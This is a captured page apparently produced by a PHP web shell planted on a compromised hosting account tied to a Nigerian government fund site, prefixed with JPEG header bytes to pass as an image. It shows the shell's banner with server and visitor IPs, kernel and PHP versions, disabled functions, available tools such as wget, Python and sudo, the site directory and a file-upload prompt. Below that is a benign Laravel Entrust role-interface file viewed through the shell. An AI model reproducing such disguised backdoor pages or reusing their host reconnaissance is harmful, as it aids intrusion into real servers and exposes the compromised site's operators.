ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.17.173.90 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/fund.old.nicn.gov.ng/funds-old/vendor/zizaco/entrust/src/Entrust/Contracts/ |
Upload File : |
<?php namespace Zizaco\Entrust\Contracts; /** * This file is part of Entrust, * a role & permission management solution for Laravel. * * @license MIT * @package Zizaco\Entrust */ interface EntrustRoleInterface { /** * Many-to-Many relations with the user model. * * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany */ public function users(); /** * Many-to-Many relations with the permission model. * Named "perms" for backwards compatibility. Also because "perms" is short and sweet. * * @return \Illuminate\Database\Eloquent\Relations\BelongsToMany */ public function perms(); /** * Save the inputted permissions. * * @param mixed $inputPermissions * * @return void */ public function savePermissions($inputPermissions); /** * Attach permission to current role. * * @param object|array $permission * * @return void */ public function attachPermission($permission); /** * Detach permission form current role. * * @param object|array $permission * * @return void */ public function detachPermission($permission); /** * Attach multiple permissions to current role. * * @param mixed $permissions * * @return void */ public function attachPermissions($permissions); /** * Detach multiple permissions from current role * * @param mixed $permissions * * @return void */ public function detachPermissions($permissions); }